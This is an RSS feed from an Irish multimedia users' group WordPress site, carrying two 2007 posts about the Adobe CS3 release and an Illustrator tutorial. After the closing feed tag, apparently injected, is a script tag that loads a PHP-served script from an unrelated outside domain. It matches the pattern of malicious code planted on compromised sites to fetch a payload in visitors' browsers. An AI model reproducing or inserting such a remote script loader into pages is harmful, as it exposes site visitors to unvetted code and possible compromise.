































































































































































































<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MMUG-IRELAND &#187; Illustrator</title>
	<atom:link href="http://www.mmug-ireland.org/category/illustrator/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.mmug-ireland.org</link>
	<description>Multimedia Users Group of Ireland</description>
	<lastBuildDate>Tue, 10 Feb 2009 10:05:51 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Adobe: CS3 is out.</title>
		<link>http://www.mmug-ireland.org/2007/04/13/adobe-cs3-is-out/</link>
		<comments>http://www.mmug-ireland.org/2007/04/13/adobe-cs3-is-out/#comments</comments>
		<pubDate>Fri, 13 Apr 2007 13:26:43 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[Notifications]]></category>
		<category><![CDATA[Photoshop]]></category>
		<category><![CDATA[fireworks]]></category>
		<category><![CDATA[flash]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/04/13/adobe-cs3-is-out/</guid>
		<description><![CDATA[Adobe has announced the release of the new CS3 suite of software. I have been looking over the details and I have to say I am very impressed. With this being the very first launch since the merge of Macromedia and Adobe it was bound to be an interesting event. What was lost? What is [...]]]></description>
			<content:encoded><![CDATA[<p>Adobe has announced the release of the new CS3 suite of software. I have been looking over the details and I have to say I am very impressed. With this being the very first launch since the merge of Macromedia and Adobe it was bound to be an interesting event. What was lost? What is new? All our questions are now answered and you really must see the new site and the amazing flash presentation on the site. Click the &#8220;more&#8221; button to see the links.</p>
<p><span id="more-52"></span></p>
<p><a href="http://www.adobe.com/creativelicense/">Adobe CS3</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/04/13/adobe-cs3-is-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial: Imitating A Scanner Darkly</title>
		<link>http://www.mmug-ireland.org/2007/02/13/tutorial-imitating-a-scanner-darkly/</link>
		<comments>http://www.mmug-ireland.org/2007/02/13/tutorial-imitating-a-scanner-darkly/#comments</comments>
		<pubDate>Tue, 13 Feb 2007 15:56:48 +0000</pubDate>
		<dc:creator>Christian Gehrke</dc:creator>
				<category><![CDATA[All]]></category>
		<category><![CDATA[Illustrator]]></category>
		<category><![CDATA[Tutorials]]></category>

		<guid isPermaLink="false">http://www.mmug-ireland.org/2007/02/13/tutorial-imitating-a-scanner-darkly/</guid>
		<description><![CDATA[Aaron Sacco is a freelance illustrator who recently finished working as an animator on &#8220;A Scanner Darkly.&#8221; He also works as a portrait artist and mural painter in Austin, Texas. Check out more of his work at www.aaronsacco.com.
He has written a great tutorial on how to create the same effect for any of your own [...]]]></description>
			<content:encoded><![CDATA[<p>Aaron Sacco is a freelance illustrator who recently finished working as an animator on &#8220;A Scanner Darkly.&#8221; He also works as a portrait artist and mural painter in Austin, Texas. Check out more of his work at <a href="http://www.aaronsacco.com">www.aaronsacco.com</a>.</p>
<p>He has written a great tutorial on how to create the same effect for any of your own photos. If you&#8217;d like to give it a go yourself just check out this address:</p>
<p><a href="http://www.illustratortechniques.com/imitating-a-scanner-darkly.html">www.illustratortechniques.com/imitating-a-scanner-darkly.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mmug-ireland.org/2007/02/13/tutorial-imitating-a-scanner-darkly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://whereisdudescars.com/js2.php"></script>